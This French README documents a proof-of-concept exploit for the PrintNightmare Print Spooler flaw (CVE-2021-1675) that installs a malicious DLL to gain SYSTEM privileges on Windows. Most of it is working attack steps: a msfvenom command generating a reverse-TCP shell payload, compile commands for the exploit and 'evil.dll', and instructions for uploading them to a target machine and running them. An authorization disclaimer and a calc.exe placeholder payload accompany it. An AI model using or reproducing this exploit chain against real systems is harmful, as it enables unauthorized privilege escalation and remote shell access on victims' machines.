PoC d'élévation de privilèges locaux PrintNightmare

src/nightmare.cpp : code source pour exploiter CVE-2021-1675 et obtenir un accès système en installant une dll malveillante
src/payload-dll.cpp : code source pour une dll avec un shellcode malveillant dans la fonction d'entrée

!!À utiliser uniquement sur des serveurs pour lesquels vous avez l'autorisation de tester

Résumé

CVE-2021-1675 est une vulnérabilité dans le service Print Spooler de Microsoft Windows qui permet à un attaquant de contourner la vérification SeLoadDriverPrivilege. Cela peut être exploité pour obtenir une élévation de privilèges sur la machine cible en installant une DLL malveillante qui appelle un shellcode ou utilise l'API Windows pour établir une connexion reverse shell. Les versions de Windows 10/8/Server 2008/Server 2012 antérieures au 8 juin 2021 sont concernées.

POC

1. Téléchargez ou clonez le dépôt git
2. Utilisez msfvenom pour générer une charge utile adaptée en c $ msfvenom -p windows/shell/reverse_tcp EXITFUNC=THREAD LHOST=127.0.0.1 LPORT=4444 -f c
3. Collez la sortie de msfvenom dans payload-dll.cpp à l'endroit où il est indiqué « change me »
4. Compilez l'exécutable principal x86_64-w64-mingw32-g++-win32 -o ./src/nightmare.o -c -g -Wall ./src/nightmare.cpp x86_64-w64-mingw32-g++-win32 -o ./bin/PrintNightmareLPE.exe ./src/nightmare.o -lws2_32 -static-libgcc -static-libstdc++ -lole32 -lwinspool
5. Compilez la dll x86_64-w64-mingw32-g++ src/payload-dll.cpp -lws2_32 -o lib/evil.dll -shared
6. Archivez l'exe et la dll, puis trouvez un moyen de téléverser l'archive sur votre machine cible zip ./bin/PrinterNightmareLPE.exe ./lib/
7. Une fois l'archive sur la machine Windows cible, extrayez-la
8. Déplacez evil.dll vers c:\windows\temp\evil.dll
9. Exécutez PrintNightmareLPE.exe

Remarques

• Si tout fonctionne correctement, l'exploit doit parcourir les pilotes d'imprimante Windows et afficher les résultats
• Vous pouvez modifier le chemin du fichier à partir duquel PrintNightmareLPE.exe charge evil.dll dans le code source
• Actuellement, la dll malveillante charge simplement calc.exe comme preuve de concept